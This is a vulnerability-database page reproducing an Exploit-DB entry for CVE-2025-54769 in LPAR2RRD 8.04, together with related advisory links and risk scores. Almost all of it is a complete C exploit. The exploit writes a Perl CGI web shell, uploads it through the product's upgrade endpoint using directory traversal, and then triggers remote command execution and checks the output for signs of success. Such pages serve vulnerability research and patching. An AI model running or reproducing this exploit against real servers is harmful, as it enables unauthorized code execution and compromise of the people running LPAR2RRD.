Lucene search
K

LPAR2RRD 8.04 - Remote Code Execution (RCE)

🗓️ 03 Aug 2025 00:00:00Reported by Byte ReaperType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 447 Views

LPAR2RRD 8.04 allows remote code execution via malicious Perl upload and directory traversal exploit.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-54769
30 Jul 202514:59
githubexploit
Circl
CVE-2025-54769
29 Jul 202501:10
circl
CNNVD
XORUX LPAR2RRD 安全漏洞
29 Jul 202500:00
cnnvd
CVE
CVE-2025-54769
28 Jul 202523:34
cve
Cvelist
CVE-2025-54769 KL-001-2025-016: Xorux LPAR2RRD File Upload Directory Traversal
28 Jul 202523:34
cvelist
EUVD
EUVD-2025-22956
3 Oct 202520:07
euvd
KoreLogic Security
Xorux LPAR2RRD File Upload Directory Traversal
28 Jul 202500:00
korelogic
NVD
CVE-2025-54769
29 Jul 202500:15
nvd
OSV
CVE-2025-54769
29 Jul 202500:15
osv
Packet Storm
📄 Xorux LPAR2RRD 8.04 File Upload / Directory Traversal
29 Jul 202500:00
packetstorm
Rows per page
/*
 * Author       : Byte Reaper
 * Title : LPAR2RRD 8.04 - Remote Code Execution (RCE)
 * CVE          : CVE-2025-54769 
 * Vulnerability: RCE && directory traversal
 * Description : Uploads a malicious Perl script via the LPAR2RRD upgrade endpoint, 
 * exploits directory traversal to place it in a CGI-executable path, then triggers remote command execution.
 */

 #include <stdio.h>
 #include <stdlib.h>
 #include <curl/curl.h>
 #include "argparse.h"
 #include <string.h>
 #include <time.h>
 #include <arpa/inet.h>
 #define FULL 2500
 
 void sleepAssembly()
 {
     struct timespec s ;
     s.tv_sec = 0;
     s.tv_nsec = 500000000;
     
     __asm__ volatile
     (
         "mov $35, %%rax\n\t"
         "xor %%rsi, %%rsi\n\t"
         "syscall\n\t"
         :
         : "D" (&s) 
         : "rax",
           "rsi",
           "memory"
        );
 }
 void syscallLinux()
 {
     __asm__ volatile
     (
         "mov $0x3C, %%rax\n\t"
         "xor %%rdi, %%rdi\n\t"
         "syscall\n\t"
         :
         :
         :"rax", "rdi"
     );
 }
 int fileS = 0;
 int useCookies = 0;
 int verboseMode = 0;
 const char *cookies;
 const char *ip = NULL;
 int portService = 0;
 int port = 0;
 int protocolS = 0;
 const char  *protocol = NULL;
 int CreateFilePerl()
 {
    FILE *fileP = fopen("users.pl", "w");
    if (fileP == NULL)
    {
        printf("\e[1;31m[-] Error Create File (users.pl)\e[0m\n");
        syscallLinux();
        return 0;
    }
    printf("[+] Create File Successfully\n");
    char payloadContent[7000];
    int payload = snprintf(payloadContent, 
         sizeof(payloadContent),
     "#!/usr/bin/perl\n"
                 "use strict;\n"
                 "use warnings;\n"
                 "use CGI;\n"
                 "my $q   = CGI->new;\n" 
                 "my %%PAR = map { $_ => scalar $q->param($_) } $q->param;\n"
                 "if ( $PAR{cmd} && $PAR{cmd} eq \"commandLinux\")\n"
                 "{\n"
                         "\tprint \"Content-type: text/html\\n\\n\";\n"
                         "\tmy $commandW = qx(/usr/bin/whoami 2>&1);\n"
                         "\tprint $commandW;\n"
                 "}\n"
        );
    if (payload < 0 || (size_t)payload >= sizeof(payloadContent)) 
    {
        fprintf(stderr, 
            "\e[1;31m[-] Perl payload truncated or formatting error\e[0m\n");
        syscallLinux();
    }
         
    size_t e = strlen(payloadContent);
    unsigned long writeLen = fwrite(payloadContent, 
         1, strlen(payloadContent),
          fileP);
    if (writeLen != e)
    {
        printf("\e[1;31m[-] Error Fwrite Payload in File Perl\e[0m\n");
        syscallLinux();
        return 0;
    }
    printf("\e[1;36m[+] Write Payload in File Successfully\e[0m\n");
    fclose(fileP);
    return 1;
}         
const char *resultCommand[] = 
{
    "root",
    "admin",
    "user",
    "ssh",
    "/home/",
    NULL
};
 
struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr, 
    size_t size,
    size_t nmemb,
    void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        syscallLinux();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
void getRequest(CURL *curl, const char *targetIP)
{
    struct Mem responseGet ;
    responseGet.buffer = NULL;
    responseGet.len = 0;
    CURLcode codeLib;
    char full[FULL];
    const char *proto = protocolS ? protocol : "https";
    int prt = portService
              ? port
           : (strcmp(proto, "http") == 0 ? 80 : 443);
    int n = snprintf(full, sizeof(full),
                  "%s://%s:%d/lpar2rrd-cgi/users.sh?cmd=commandLinux",
                     proto, targetIP, prt);
    if (n < 0 || (size_t)n >= sizeof(full)) 
    {
         fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n");
         syscallLinux();
    }

    curl_easy_setopt(curl, CURLOPT_URL, full);
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseGet);
    curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L);
    sleepAssembly();
    curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
 
    if (useCookies) 
    {
         curl_easy_setopt(curl, 
            CURLOPT_COOKIEFILE, 
            cookies);
         curl_easy_setopt(curl,
             CURLOPT_COOKIEJAR,  
             cookies);
    }
    if (verboseMode)
    {
        printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
        curl_easy_setopt(curl,
                CURLOPT_VERBOSE,
                         1L);
    }
 
    printf("\e[1;37m[+] GET URL: %s\e[0m\n", 
        full);
    struct curl_slist *headers = NULL;
     headers = curl_slist_append(headers , 
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    headers = curl_slist_append(headers,
         "Accept-Language: en-US,en;q=0.5");
    headers = curl_slist_append(headers, 
        "Accept-Encoding: gzip, deflate, br");
    headers = curl_slist_append(headers, 
        "Upgrade-Insecure-Requests: 1");
    headers = curl_slist_append(headers, 
        "Sec-Fetch-Dest: document");
    headers = curl_slist_append(headers, 
        "Sec-Fetch-Mode: navigate");
    headers = curl_slist_append(headers, 
        "Priority: u=0, i");
    headers = curl_slist_append(headers, 
        "Pragma: no-cache");
    headers = curl_slist_append(headers, 
        "Cache-Control: no-cache");
    headers = curl_slist_append(headers, 
        "Connection: keep-alive");
    curl_easy_setopt(curl, 
        CURLOPT_HTTPHEADER, 
        headers);
    codeLib = curl_easy_perform(curl);
    curl_slist_free_all(headers);
    if (codeLib == CURLE_OK) 
    {
        printf("\e[1;35m=================================================== [GET] ===================================================\e[0m\n");
        long codeH = 0;
        curl_easy_getinfo(curl, 
            CURLINFO_RESPONSE_CODE,
             &codeH);
 
        printf("\e[1;36m[+] Request GET sent successfully\e[0m\n");
        printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH);
        if (responseGet.buffer)
        {
            if (verboseMode)
            {
                printf("\e[1;35m=================================================== [RESPONSE] ===================================================\e[0m\n");
    
                printf("%s\n", responseGet.buffer);
                printf("\e[1;35m===================================================================================================================\e[0m\n");
            }
        }
        
        if (codeH >= 200 && codeH < 300) 
        {
            printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",codeH);
            printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH);
            if (responseGet.buffer) 
            {
                printf("\e[1;35m=================================================== [RESPONSE] ===================================================\n");
                    printf("%s\n", responseGet.buffer);
                    printf("\e[1;32m[+] Len Response : %zu\e[0m\n",
                        responseGet.len);
                    printf("\e[1;35m===================================================================================================================\n");
                for (int j = 0; resultCommand[j]; j++) 
                {
                    if (strstr(responseGet.buffer, resultCommand[j])) 
                    {
                        printf("\e[1;34m[+] Word Found In Response.\e[0m\n");
                        printf("\e[1;34m[+] Word : %s\e[0m\n", 
                                resultCommand[j]);
                        printf("\e[1;36m[+] The server is experiencing a vulnerability (CVE-2025-54769)\e[0m\n");
                    }
                    else 
                    {
                        if (verboseMode)
                        {
                            printf("\e[1;31m[-] Not Found Word In Response : %s\e[0m\n", 
                                resultCommand[j]);
                        }
                        else
                        {
                            continue;
                        }
                            
                    }
                    
                }
            } 
            else 
            {
                printf("\e[1;31m[-] Response Server Is NULL !\e[0m\n");
                if (verboseMode)
                {
                    printf("\e[1;31m[-] Exit Syscall\e[0m\n");
                }
            }
        } 
        else 
        {
            printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", codeH);
            if (verboseMode)
            {
                if (responseGet.buffer)
                {
                    printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
                    printf("%s\n", responseGet.buffer);
                    printf("\e[1;32m[+] Len Response : %zu\n",responseGet.len);
                    printf("\e[1;35m\n=============================================================================================\e[0m\n");
                }
            }
        }
    } 
    else 
    {
        fprintf(stderr,"\e[1;31m[-] Error Send Request\e[0m\n");
        fprintf(stderr,"\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(codeLib));
        syscallLinux();
    }
 
    free(responseGet.buffer);
    responseGet.buffer = NULL;
    responseGet.len = 0;
    curl_easy_cleanup(curl);
}
 
void remoteCode(const char *ipS)
{

    CURL *curl = curl_easy_init();
    struct Mem response;
    response.buffer = NULL;
    response.len = 0;
    CURLcode codeLibCurl;
    if (verboseMode)
    {
        printf("\e[1;35m================================== [Value Response] ==================================\n");
        printf("\e[1;32m[+] Response Buffer -> %s\e[0m\n", response.buffer);
        printf("\e[1;32m[+] Response Len -> %zu\e[0m\n", response.len);
        printf("\e[1;35m=======================================================================================\n");
    }
    if (!curl) 
    {
        fprintf(stderr, "\e[1;31m[-] Failed to init CURL\e[0m\n");
        syscallLinux();
    }
    char full[FULL];
    const char *proto = protocolS ? protocol : "https";
    int prt = portService
               ? port
               : (strcmp(proto, "http") == 0 ? 80 : 443);
    int n = snprintf(full, 
        sizeof(full),
                      "%s://%s:%d/lpar2rrd-cgi/upgrade.sh",
                      proto, ipS, prt);
     if (n < 0 || (size_t)n >= sizeof(full)) 
     {
        fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n");
        syscallLinux();
     }
 

    if (!CreateFilePerl()) 
    {
        fprintf(stderr, 
            "\e[1;31m[-] Failed to create File users.pl\e[0m\n");
        syscallLinux();
    }
 
    printf("\e[1;34m[+] Uploading %s to %s\n", "users.pl", full);

    curl_mime *form = curl_mime_init(curl);
    curl_mimepart *field = curl_mime_addpart(form);
    curl_mime_name(field, 
        "upgfile");
    curl_mime_filedata(field,
         "users.pl");
    curl_mime_filename(field,
         "users.pl");
    curl_mime_type(field,
         "application/x-perl");
    curl_easy_setopt(curl,
         CURLOPT_URL, 
         full);
    curl_easy_setopt(curl,
         CURLOPT_POST, 
         1L);
    curl_easy_setopt(curl,
         CURLOPT_MIMEPOST, form);
    curl_easy_setopt(curl, 
        CURLOPT_WRITEFUNCTION, 
        write_cb);
    curl_easy_setopt(curl,
         CURLOPT_WRITEDATA, &response);
    curl_easy_setopt(curl, 
        CURLOPT_FOLLOWLOCATION,
         1L);
    curl_easy_setopt(curl,
         CURLOPT_CONNECTTIMEOUT, 
         5L);
    sleepAssembly();
    curl_easy_setopt(curl, 
        CURLOPT_TIMEOUT, 
        10L);
 
    if (useCookies) 
    {
        curl_easy_setopt(curl, 
            CURLOPT_COOKIEFILE,
             cookies);
        curl_easy_setopt(curl, 
            CURLOPT_COOKIEJAR,  
            cookies);
    }
    if (verboseMode)
    {
        printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
        curl_easy_setopt(curl,
                    CURLOPT_VERBOSE,
                       1L);
    }

    struct curl_slist *headers = NULL;
    char host[128];
    int lenIp = snprintf(host , 
        sizeof(host),
       "Host: %s:%d", 
              ipS, prt);
    if (lenIp < 0 || (size_t)lenIp >= sizeof(host))
    {
        printf("\e[1;31m[-] IP Address is Long !\e[0m\n");
        syscallLinux();
    }
    headers = curl_slist_append(headers, 
        "Accept: */*");
    headers = curl_slist_append(headers, 
        "Accept-Language: en-US,en;q=0.5");
    headers = curl_slist_append(headers, 
        "Accept-Encoding: gzip, deflate, br");
    headers = curl_slist_append(headers, 
        "X-Requested-With: XMLHttpRequest");
    headers = curl_slist_append(headers, 
        "Connection: keep-alive");
    headers = curl_slist_append(headers, 
        "Priority: u=0");
    headers = curl_slist_append(headers, "Authorization: <base64-credentials>");
    headers = curl_slist_append(headers, "Referer: http://127.0.0.1/lpar2rrd/index.html?amenu=upgrade&tab=0");
    headers = curl_slist_append(headers ,
         host);
    void *m = memset(host , 0, sizeof(host));
    if (m == NULL)
    {       
        fprintf(stderr,"\e[1;31m[-] Error Clean HOST IP (memset() == NULL)\e[0m\n");
        syscallLinux();
    }
    int lenO = snprintf(host , 
        sizeof(host),
         "Origin: https://%s:%d", 
            ipS, prt);
    if (lenO < 0 || (size_t)lenO >= sizeof(host))
    {
        syscallLinux();
    } 
    headers = curl_slist_append(headers,
        host); 
    curl_easy_setopt(curl, 
    CURLOPT_HTTPHEADER, 
        headers);
 
    codeLibCurl = curl_easy_perform(curl);
    curl_mime_free(form);
    curl_slist_free_all(headers);
 
    if (codeLibCurl != CURLE_OK) 
    {
        fprintf(stderr, "\e[1;31m[-] curl error: %s\e[0m\n",
            curl_easy_strerror(codeLibCurl));
        syscallLinux();
    }
    long httpCode = 0;
    curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, 
        &httpCode);
    printf("\e[1;36m[+] Protocol  : %s\e[0m\n", protocol);
    printf("\e[1;36m[+] Port : %d\e[0m\n", port);
    printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", httpCode);;
    if (httpCode >= 200 && httpCode < 300)
    {
        printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode);
        if (response.buffer) 
        {
            printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
            printf("%s\n", response.buffer);
            printf("\e[1;32m    [+] Len Response : %zu\e[0m\n",response.len);
            printf("\e[1;35m\n=============================================================================================\e[0m\n");
            if (strstr(response.buffer, "This file doesn't look like the upgrade package")) 
            {
                printf("\e[1;34m[+] Sentence found in reply.\e[0m\n");
                printf("\e[1;34m[+] Sentence : This file doesn't look like the upgrade package\e[0m\n");
                printf("\e[1;34m[+] Exploitation is being completed...\e[0m\n");
                getRequest(curl, ipS);
            }
        } 
        else
        {
            fprintf(stderr,"\e[1;31m[-] Response Buffer is NULL\e[0m\n");
            fprintf(stderr,"\e[1;31m[-] Please Check Your Connection Or Waf\e[0m\n");
            if (verboseMode)
            {
                    fprintf(stderr,"\e[1;31m[-] Exit Syscall...\e[0m\n");
            }
            syscallLinux();
        } 
    }
    else 
    {
        printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode);
        if (verboseMode)
        {
            if (response.buffer)
            {
                printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
                printf("%s\n", response.buffer);
                printf("\e[1;32m[-] Len Response : %zu\n",response.len);
                printf("\e[1;35m\n=============================================================================================\e[0m\n");
            }
        }
    }
 
    
    free(response.buffer);
    response.buffer = NULL;
    response.len = 0;
    curl_easy_cleanup(curl);
}
 
 
int main(int argc, 
    const char **argv)
{
     printf(
         "\e[1;31m"
         "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▖▖▄▖▄▖▄▖  \n"
         "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌ ▌▙▖▙▌  \n"
         "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌  ▄▌ ▌ ▌▙▌▄▌  \n"
                "\e[1;37m\t\tByte Reaper\n"
    );
    curl_global_init(CURL_GLOBAL_DEFAULT);
    printf("\e[1;31m------------------------------------------------------------------------------------\e[0m\n");
     
    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('i',
                    "ip",
                    &ip,
                    "Enter Target IP"),
        OPT_STRING('c',
                    "cookies",
                    &cookies,
                    "cookies File"),
        OPT_INTEGER('p', 
             "port", 
             &port ,
             "Enter Target Port Service"),
        OPT_STRING('t',
              "protocol",
              &protocol, 
             "Enter Protocol Service (http / https)"),
        OPT_BOOLEAN('v',
                     "verbose",
                     &verboseMode,
                     "Verbose Mode"),
        OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                   options,
                   NULL,
                   0);
 
    argparse_parse(&argparse,
                    argc,
                    argv);  
    in_addr_t q = inet_addr(ip);
    if (q == INADDR_NONE)
    {
            printf("\e[1;31m[-] Invalid Ip String !\e[0m\n");
            syscallLinux();
    }            
    if (!ip)
    {
        fprintf(stderr,"\e[1;31m[-] Please Enter Target IP  !\e[0m\n");
        
        fprintf(stderr,"\e[1;31m[-] Ex : ./exploit -i <IP> \e[0m\n");
        fprintf(stderr,"\e[1;31m[-] Exit Syscall\e[0m\n");
        syscallLinux();
    }
    if (verboseMode)
    {
        verboseMode = 1;
    }
    if (cookies)
    {
        useCookies = 1;
    }
    if (port)
    {
        portService = 1;
    }
    if (protocol)
    {
        protocolS = 1;
    }
    remoteCode(ip);
    curl_global_cleanup();
    return 0;
 }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Aug 2025 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.18.8
EPSS0.09341
SSVC
447